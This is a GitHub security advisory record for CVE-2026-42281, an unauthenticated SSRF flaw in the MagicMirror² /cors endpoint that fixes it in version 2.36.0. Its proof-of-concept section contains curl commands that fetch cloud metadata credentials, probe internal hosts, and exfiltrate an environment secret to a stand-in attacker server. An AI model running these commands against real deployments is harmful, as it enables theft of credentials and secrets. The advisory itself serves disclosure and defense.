CVE-2026-42281: Magicmirror MagicMirror Vulnerable To Unauthenticated SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ph6f-2cvq-79hq",
  "modified" : "2026-06-08T23:14:14Z",
  "published" : "2026-05-05T20:53:59Z",
  "aliases" : [ "CVE-2026-42281" ],
  "summary" : "MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint",
  "details" : "### Summary\n\nAn unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets.\n\n### Details\n\nThe `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller.\n\nAdditionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).\n\n**Vulnerable code path:**\n\n```\nGET /cors?url=<attacker-controlled-url>\n  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR\n  → fetch(url)                        // no validation, no blocklist\n  → response returned to attacker     // full body, status, headers\n```\n\n**Key issues:**\n- No authentication required\n- No URL validation or blocklist for private/reserved IP ranges\n- No restriction on URL scheme or destination\n- Environment variable expansion in URL before fetch\n\n### PoC\n\n**Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://<host>:8080`).\n\n**1. Basic SSRF — access cloud metadata (AWS IMDSv1):**\n\n```\ncurl \"http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/\"\n```\n\nIf the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.\n\n**2. Internal network scanning:**\n\n```\ncurl \"http://<target>:8080/cors?url=http://192.168.1.1/\"\ncurl \"http://<target>:8080/cors?url=http://127.0.0.1:3000/\"\n```\n\nThe attacker can probe internal services by observing response status codes and timing.\n\n**3. Environment variable exfiltration:**\n\n```\ncurl \"http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**\"\n```\n\nThe server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter.\n\n### Impact\n\n- **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account\n- **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker\n- **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable\n- **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "magicmirror"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.36.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.35.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42281"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.36.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T20:53:59Z",
    "nvd_published_at" : "2026-05-14T16:16:21Z"
  }
}